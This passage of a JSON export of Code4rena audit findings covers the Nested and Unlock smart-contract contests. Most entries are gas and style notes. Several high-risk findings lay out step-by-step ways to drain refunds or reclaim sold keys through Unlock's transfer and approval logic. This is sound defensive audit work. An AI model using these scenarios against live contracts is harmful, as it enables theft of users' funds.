shareholders[_accountIndex].weight; require(_totalWeights > 0, \"FeeSplitter: TOTAL_WEIGHTS_ZERO\"); shareholders[_accountIndex].weight = _weight; } ``` ## Tools Used Manual analysis "}, {"title": "For `uint` replace `> 0` with `!= 0`", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept For unsigned integers, it is cheaper to check ` != 0` than ` > 0`. Both provide the same logic. ## Occurences ``` contracts/FeeSplitter.sol:105: require(_accounts.length > 0 && _accounts.length == _weights.length, \"FeeSplitter: ARRAY_LENGTHS_ERR\"); contracts/FeeSplitter.sol:172: require(_totalWeights > 0, \"FeeSplitter: TOTAL_WEIGHTS_ZERO\"); contracts/FeeSplitter.sol:263: require(_weight > 0, \"FeeSplitter: ZERO_WEIGHT\"); contracts/NestedBuybacker.sol:97: if (feeSplitter.getAmountDue(address(this), _sellToken) > 0) { contracts/NestedFactory.sol:69: require(i > 0, \"NestedFactory::removeOperator: Cant remove non-existent operator\"); contracts/NestedFactory.sol:94: require(_orders.length > 0, \"NestedFactory::create: Missing orders\"); contracts/NestedFactory.sol:110: require(_orders.length > 0, \"NestedFactory::addTokens: Missing orders\"); contracts/NestedFactory.sol:124: require(_orders.length > 0, \"NestedFactory::swapTokenForTokens: Missing orders\"); contracts/NestedFactory.sol:143: require(_orders.length > 0, \"NestedFactory::sellTokensToNft: Missing orders\"); contracts/NestedFactory.sol:163: require(_orders.length > 0, \"NestedFactory::sellTokensToWallet: Missing orders\"); contracts/NestedFactory.sol:194: require(_orders.length > 0, \"NestedFactory::destroy: Missing orders\"); contracts/NestedFactory.sol:333: if (_inputTokenAmounts[i] - amountSpent > 0) { contracts/NestedFactory.sol:467: if (_amountToSpent - _amountSpent > 0) { contracts/NestedRecords.sol:171: require(_maxHoldingsCount > 0, \"NestedRecords: INVALID_MAX_HOLDINGS\"); contracts/operators/Flat/FlatOperator.sol:18: require(amount > 0, \"FlatOperator::commitAndRevert: Amount must be greater than zero\"); contracts/operators/ZeroEx/ZeroExOperator.sol:42: assert(amountBought > 0); contracts/operators/ZeroEx/ZeroExOperator.sol:43: assert(amountSold > 0); ``` "}, {"title": "Save gas by caching array length used in for loops", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "Save gas by caching array length used in for loops"}, {"title": "NestedFactory: _transferToReserveAndStore can be simplified to save on gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In [_transferToReserveAndStore](https://github.com/code-423n4/2021-11-nested/blob/cbd39fe7d76ed8c84eb767a5f3b6eba83e034656/contracts/NestedFactory.sol#L426), `_token` is casted 3 times to `IERC20` and `reserve` is loaded and casted to `address` 4 times. We can simplify the function and save on gas. ## Proof of Concept `_token` should be passed to the function as an `IERC20`, this way we avoid to cast it 3 times. `reserve` should be stored in a variable to avoid 3 unnecessary sloads and casting. ## Recommended Mitigation Steps The following changes are recommended. ``` function _transferToReserveAndStore( IERC20 _token, uint256 _amount, uint256 _nftId ) private { address reserveAddress = address(reserve); uint256 balanceReserveBefore = _token.balanceOf(reserveAddress); // Send output to reserve _token.safeTransfer(reserveAddress, _amount); uint256 balanceReserveAfter = _token.balanceOf(reserveAddress); nestedRecords.store(_nftId, address(_token), balanceReserveAfter - balanceReserveBefore, reserveAddress); } ``` After this subsequent change, `_outputToken` will need to be casted to `IERC20` on [L386](https://github.com/code-423n4/2021-11-nested/blob/cbd39fe7d76ed8c84eb767a5f3b6eba83e034656/contracts/NestedFactory.sol#L386). `_transferToReserveAndStore(IERC20(_outputToken), amounts[0], _nftId);` And no need to cast `_outputToken` anymore on [L357](https://github.com/code-423n4/2021-11-nested/blob/cbd39fe7d76ed8c84eb767a5f3b6eba83e034656/contracts/NestedFactory.sol#L357). `_transferToReserveAndStore(_outputToken, amountBought - feesAmount, _nftId);` "}, {"title": "Weak guarantees on ZeroExOperator using correct create2 salt to recompute storage address", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Potential for a broken deploy of operators which use a storage contract (not in the case of `ZeroExOperator` however) ## Proof of Concept `ZeroExOperator` uses a create2 salt of `bytes32(\"nested.zeroex.operator\")` to deploy its storage contract and this salt must be used to recompute this address in future. It's then important to enforce that both steps use the same salt, however this is not strictly enforced. Currently a change to one must be manually updated in the other, if this was not done then calculation of the storage address would be incorrect. https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/operators/ZeroEx/ZeroExOperator.sol#L15 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/operators/ZeroEx/ZeroExOperator.sol#L60 This is not an issue in the current case but this is a potential footgun for future operators which use storage. ## Recommended Mitigation Steps Place `bytes32(\"nested.zeroex.operator\")` into a constant variable and use this variable instead. "}, {"title": "ZeroExOperator", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Reduced ease of verifying correctness ## Proof of Concept `ZeroExOperator` uses the `Create2` library to deploy `ZeroExOperatorStorage`. `Create2` also exposes a `computeAddress` function which can be used to recalculate the address of `ZeroExOperatorStorage` but `ZeroExOperator` instead uses a homebrew calculation in `storageAddress`. https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/operators/ZeroEx/ZeroExOperator.sol#L55-L65 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/57630d2a6466dff65aa7ca67b3fa23d5e6d1474a/contracts/utils/Create2.sol#L57-L64 The implementation is identical but using standard library code avoids the need for verification and minimises possible mistakes. ## Recommended Mitigation Steps Replace `storageAddress` with ``` function storageAddress(address own) public pure returns (address) { return Create2.computeAddress( bytes32(\"nested.zeroex.operator\"), keccak256(type(ZeroExStorage).creationCode) own, ); } ``` "}, {"title": "use msg.sender rather than _msgSender() in FeeSplitter.receive", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Gas costs ## Proof of Concept In the `receive` function of `FeeSplitter` we check that the address sending ETH is the WETH contract: https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L74 As we can safely say that the WETH contract will never send a metatransaction, we can just use msg.sender and avoid the extra gas costs of `_msgSender()` ## Recommended Mitigation Steps Replace `_msgSender()` with `msg.sender` "}, {"title": "MixinPurchase:shareKey allows to generate keys without purchasing", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/242", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "MixinPurchase:shareKey allows to generate keys without purchasing"}, {"title": "address(this).address2Str()", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/241", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "address(this).address2Str()"}, {"title": "++/-- are cheapest", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "++/-- are cheapest"}, {"title": "0 valueInETH", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/239", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "0 valueInETH"}, {"title": "assigned operations to constant variables", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/238", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "assigned operations to constant variables"}, {"title": "timePlusFee = timeRemaining", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "timePlusFee = timeRemaining"}, {"title": "Refund amount and penalty calculation", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Refund amount and penalty calculation"}, {"title": "Unnecessary checks", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/234", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unnecessary checks"}, {"title": "Precalculate expressions", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Precalculate expressions"}, {"title": "Unlock:_deployProxyAdmin return value is not used", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unlock:_deployProxyAdmin return value is not used"}, {"title": "Store owners in EnumerableSet", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/231", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Store owners in EnumerableSet"}, {"title": "Distribution of tokens in recordKeyPurchase", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/230", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Distribution of tokens in recordKeyPurchase"}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/228", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Validations"}, {"title": "Unlock:createLock no need to define the newLock as payable", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/226", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unlock:createLock no need to define the newLock as payable"}, {"title": "onKeyPurchase hook expects amount + discount", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/225", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "onKeyPurchase hook expects amount + discount"}, {"title": "Interface and implementation differ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/224", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Interface and implementation differ"}, {"title": "_cancelAndRefund is not protected from re-entrancy", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/223", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "_cancelAndRefund is not protected from re-entrancy"}, {"title": "tokenByIndex returns wrong token id", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _assignNewTokenId first increments _totalSupply and then assigns token id, so ids start from 1, not 0. However, function tokenByIndex in MixinERC721Enumerable expects the index to be less than totalSupply: ```solidity /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex( uint256 _index ) public view returns (uint256) { require(_index < _totalSupply, 'OUT_OF_RANGE'); return _index; } ``` This mismatch between indexes and token ids may trick other platforms or integrations. ## Recommended Mitigation Steps I think the solution is simply returning index + 1: ```solidity require(_index < _totalSupply, 'OUT_OF_RANGE'); return _index + 1; // index 0 = token id 1 ``` "}, {"title": "Support of different ERC20 tokens", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/221", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Support of different ERC20 tokens"}, {"title": "msg.value should be 0 when token is not native", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/220", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function purchase is payable, thus it should validate that msg.value is 0 when tokenAddress != address(0) to prevent accidental sent Ether. ## Recommended Mitigation Steps Check no ether was sent when the token is not a native currency. "}, {"title": "Unable to change token approval when tokenAddress changed", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/215", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Unable to change token approval when tokenAddress changed"}, {"title": "Gas optimization: Unused variable `yieldedDiscountTokens`", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas optimization: Unused variable `yieldedDiscountTokens`"}, {"title": "Inconsistent code and comment", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/212", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Inconsistent code and comment"}, {"title": "Gas improvement on the nonce increment", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas improvement on the nonce increment"}, {"title": "Inconsistent use of _msgSender()", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Inconsistent use of _msgSender()"}, {"title": "Incorrect or confusing comments or missing code in tokenOfOwnerByIndex", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/208", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Incorrect or confusing comments or missing code in tokenOfOwnerByIndex"}, {"title": "Critical changes should use two-step procedure", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/207", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Critical changes should use two-step procedure"}, {"title": "`MixinRefunds.sol#_getCancelAndRefundValue` Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/206", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`MixinRefunds.sol#_getCancelAndRefundValue` Cache and read storage variables from the stack can save gas"}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/205", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "Typos"}, {"title": "Missing events for critical operations", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/204", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "Missing events for critical operations"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/202", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Race condition on ERC20 approval"}, {"title": "Remove unnecessary function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/200", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Remove unnecessary function can make the code simpler and save some gas"}, {"title": "Avoid unnecessary storage reads can save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Avoid unnecessary storage reads can save gas"}, {"title": "`MixinPurchase#purchase()` Consider checking if _referrer equals _recipient", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/198", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "`MixinPurchase#purchase()` Consider checking if _referrer equals _recipient"}, {"title": "Incomplete implementation", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/197", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Incomplete implementation"}, {"title": "Changing function visibility from public to external can save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Changing function visibility from public to external can save gas"}, {"title": "Redundant check of `owner() != address(0)`", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Redundant check of `owner() != address(0)`"}, {"title": "Consider adding `initializer` modifier to _initialize** functions", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/193", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Consider adding `initializer` modifier to _initialize** functions"}, {"title": "Malicious user can get infinite free trial by repeatedly refund and repurchase right before the freeTrial ends", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/189", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Malicious user can get infinite free trial by repeatedly refund and repurchase right before the freeTrial ends"}, {"title": "Wrong design/implementation of freeTrial allows attacker to steal funds from the protocol", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/188", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle WatchPug # Vulnerability details The current design/implementation of freeTrial allows users to get full refund before the freeTrial ends. Plus, a user can transfer partial of thier time to another user using `shareKey`. This makes it possible for the attacker to steal from the protocol by transferring freeTrial time from multiple addresses to one address and adding up to `expirationDuration` and call refund to steal from the protocol. ### PoC Given: - `keyPrice` is 1 ETH; - `expirationDuration` is 360 days; - `freeTrialLength` is 31 days. The attacker can create two wallet addresses: Alice and Bob. 1. Alice calls `purchase()`, transfer 30 days via `shareKey()` to Bob, then calls `cancelAndRefund()` to get full refund; Repeat 12 times; 2. Bob calls `cancelAndRefund()` and get 1 ETH. ### Recommendation Consider disabling `cancelAndRefund()` for users who transferred time to another user. "}, {"title": "`MixinRefunds.sol#cancelAndRefund()` Potential fund loss on `cancelAndRefund()` for users who purchased multiple times", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/187", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "`MixinRefunds.sol#cancelAndRefund()` Potential fund loss on `cancelAndRefund()` for users who purchased multiple times"}, {"title": "Potential economic attack on UDT grants to the referrer", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/186", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Potential economic attack on UDT grants to the referrer"}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-amun/blob/98f6e2ff91f5fcebc0489f5871183566feaec307/contracts/basket/contracts/singleJoinExit/SingleTokenJoin.sol#L51-L57 ```solidity IERC20 inputToken = IERC20(_joinTokenStruct.inputToken); inputToken.safeTransferFrom( msg.sender, address(this), _joinTokenStruct.inputAmount ); ``` `inputToken` is unnecessary as it's being used only once. Can be changed to: ```solidity IERC20(_joinTokenStruct.inputToken).safeTransferFrom( msg.sender, address(this), _joinTokenStruct.inputAmount ); ``` "}, {"title": "Code Style: Unnecessary public function visibility", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/184", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle WatchPug # Vulnerability details It's a best practice to limit the visibility to `external` if the function is expected to be called externally only. ```solidity=180{185} /** * Public function which returns the total number of unique owners (both expired * and valid). This may be larger than totalSupply. */ function numberOfOwners() public view returns (uint) { return owners.length; } ``` `numberOfOwners()` can be changed to `external`. "}, {"title": "`MixinTransfer.sol#transferFrom` Wrong implementation can potentially allows attackers to reverse transfer and cause fund loss to the users", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/182", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinTransfer.sol#L131-L152 ```solidity if (toKey.tokenId == 0) { toKey.tokenId = _tokenId; _recordOwner(_recipient, _tokenId); // Clear any previous approvals _clearApproval(_tokenId); } if (previousExpiration <= block.timestamp) { // The recipient did not have a key, or had a key but it expired. The new expiration is the sender's key expiration // An expired key is no longer a valid key, so the new tokenID is the sender's tokenID toKey.expirationTimestamp = fromKey.expirationTimestamp; toKey.tokenId = _tokenId; // Reset the key Manager to the key owner _setKeyManagerOf(_tokenId, address(0)); _recordOwner(_recipient, _tokenId); } else { // The recipient has a non expired key. We just add them the corresponding remaining time // SafeSub is not required since the if confirms `previousExpiration - block.timestamp` cannot underflow toKey.expirationTimestamp = fromKey.expirationTimestamp + previousExpiration - block.timestamp; } ``` Based on the context, L131-136 seems to be the logic of handling the case of the recipient with no key, and L138-148 is handing the case of the recipient's key expired. However, in L131-136, the key manager is not being reset. This allows attackers to keep the role of key manager after the transfer, and transfer the key back or to another recipient. ### PoC Given: - Alice owns a key that is valid until 1 year later. 1. Alice calls `setKeyManagerOf()`, making herself the keyManager; 2. Alice calls `transferFrom()`, transferring the key to Bob; Bob might have paid a certain amount of money to Alice upon receive of the key; 3. Alice calls `transferFrom()` again, transferring the key back from Bob. ### Recommendation Consider resetting the key manager regardless of the status of the recipient's key. "}, {"title": "`MixinLockCore.sol#updateKeyPricing()` Check of `_tokenAddress` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`MixinLockCore.sol#updateKeyPricing()` Check of `_tokenAddress` can be done earlier to save gas"}, {"title": "`UnlockUtils.sol#uint2Str()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`UnlockUtils.sol#uint2Str()` Implementation can be simpler and save some gas"}, {"title": "Unused named returns", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unused named returns"}, {"title": "Consider adding storage gaps to `Mixin***` contracts", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/174", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Consider adding storage gaps to `Mixin***` contracts"}, {"title": "Constants are not explicitly declared", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/173", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Constants are not explicitly declared"}, {"title": "Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/171", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Insufficient input validation"}, {"title": " PREVENT DIV BY 0", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/170", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": " PREVENT DIV BY 0"}, {"title": "transferOwnership should be two step process", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/169", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-11-unlock-findings", "body": "transferOwnership should be two step process"}, {"title": "Gas: `_recordOwner` pushes duplicates", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas: `_recordOwner` pushes duplicates"}, {"title": "Inaccurate fees computation", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle cmichel # Vulnerability details The `MixinTransfer.shareKey` function wants to compute a fee such that `time + fee * time == timeRemaining (timePlusFee)`: ```solidity uint fee = getTransferFee(keyOwner, _timeShared); uint timePlusFee = _timeShared + fee; ``` However, if the time remaining is less than the computed fee time, **the computation changes and a different formula is applied**. The fee is now simply taken on the remaining time. ```solidity if(timePlusFee < timeRemaining) { // now we can safely set the time time = _timeShared; // deduct time from parent key, including transfer fee _timeMachine(_tokenId, timePlusFee, false); } else { // we have to recalculate the fee here fee = getTransferFee(keyOwner, timeRemaining); // @audit want it such that time + fee * time == timeRemaining, but fee is taken on timeRemaining instead of time time = timeRemaining - fee; } ``` It should compute the `time` without fee as `time = timeRemaining / (1.0 + fee_as_decimal)` instead, i.e., `time = BASIS_POINTS_DEN * timeRemaining / (transferFeeBasisPoints + BASIS_POINTS_DEN)`. #### POC To demonstrate the difference with a 10% fee and a `_timeShared = 10,000s` which should be credited to the `to` account. The correct time plus fee which is reduced from `from` (as in the `timePlusFee < timeRemaining` branch) would be `10,000 + 10% * 10,000 = 11,000`. However, if `from` has not enough time remaining and `timePlusFee >= timeRemaining`, the entire time remaining is reduced from `from` but the credited `time` is computed wrongly as: (Let's assume `timeRemaining == timePlusFee`): `time = 11,000 - 10% * 11,000 = 11,000 - 1,100 = 9900`. They would receive 100 seconds less than what they are owed. ## Impact When transferring more time than the `from` account has, the credited time is scaled down wrongly and the receiver receives less time (a larger fee is applied). ## Recommended Mitigation Steps It should change the first `if` branch condition to `timePlusFee <= timeRemaining` (less than or equal). In the `else` branch, it should compute the time without fee as `time = BASIS_POINTS_DEN * timeRemaining / (transferFeeBasisPoints + BASIS_POINTS_DEN)`. "}, {"title": "DoS when `onKeyPurchaseHook` reverts", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/163", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "DoS when `onKeyPurchaseHook` reverts"}, {"title": "No ERC20 safeApprove called & not success check", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/161", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle cmichel # Vulnerability details Some tokens (like USDT) don't correctly implement the EIP20 standard and their `approve` function returns `void` instead of a success boolean. Calling these functions with the correct EIP20 function signatures will always revert. For the tokens that return a success value, the contract does not check it. Non-safe transfers are used in: - `MixinLockCore.approveBeneficiary`: `IERC20Upgradeable(tokenAddress).approve(_spender, _amount)` ## Impact Tokens that return `false` on a failed `approve` or that don't correctly implement the latest EIP20 spec, like USDT, will be unusable in the protocol as they revert the transaction because of the missing return value. ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s `SafeERC20` versions with the `safeApprove` function that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "Approvals not cleared after key transfer", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/160", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle cmichel # Vulnerability details The locks implement three different approval types, see `onlyKeyManagerOrApproved` for an overview: - key manager (map `keyManagerOf`) - single-person approvals (map `approved`). Cleared by `_clearApproval` or `_setKeyManagerOf` - operator approvals (map `managerToOperatorApproved`) The `MixinTransfer.transferFrom` requires any of the three approval types in the `onlyKeyManagerOrApproved` modifier on the tokenId to authenticate transfers from `from`. Notice that if the `to` address previously had a key but it expired only the `_setKeyManagerOf` call is performed, which does not clear `approved` if the key manager was already set to 0: ```solidity function transferFrom( address _from, address _recipient, uint _tokenId ) public onlyIfAlive hasValidKey(_from) onlyKeyManagerOrApproved(_tokenId) { // @audit this is skipped if user had a key that expired if (toKey.tokenId == 0) { toKey.tokenId = _tokenId; _recordOwner(_recipient, _tokenId); // Clear any previous approvals _clearApproval(_tokenId); } if (previousExpiration <= block.timestamp) { // The recipient did not have a key, or had a key but it expired. The new expiration is the sender's key expiration // An expired key is no longer a valid key, so the new tokenID is the sender's tokenID toKey.expirationTimestamp = fromKey.expirationTimestamp; toKey.tokenId = _tokenId; // Reset the key Manager to the key owner // @audit doesn't clear approval if key manager already was 0 _setKeyManagerOf(_tokenId, address(0)); _recordOwner(_recipient, _tokenId); } // ... } // function _setKeyManagerOf( uint _tokenId, address _keyManager ) internal { // @audit-ok only clears approved if key manager updated if(keyManagerOf[_tokenId] != _keyManager) { keyManagerOf[_tokenId] = _keyManager; _clearApproval(_tokenId); emit KeyManagerChanged(_tokenId, address(0)); } } ``` ## Impact It's possible to sell someone a key and then claim it back as the approvals are not always cleared. ## POC - Attacker A has a valuable key (`tokenId = 42`) with an expiry date far in the future. - A sets approvals for their second attacker controlled account A' by calling `MixinKeys.setApprovalForAll(A', true)`, which sets `managerToOperatorApproved[A][A'] = true`. - A clears the key manager by setting it to zero, for example, by transferring it to a second account that does not have a key yet, this calls the above `_setKeyManagerOf(42, address(0));` in `transferFrom` - A sets single-token approval to A' by calling `MixinKeys.approve(A', 42)`, setting `approved[42] = A'`. - A sells the token to a victim V for a discount (compared to purchasing it from the Lock). The victim needs to have owned a key before which already expired. The `transferFrom(A, V, 42)` call sets the owner 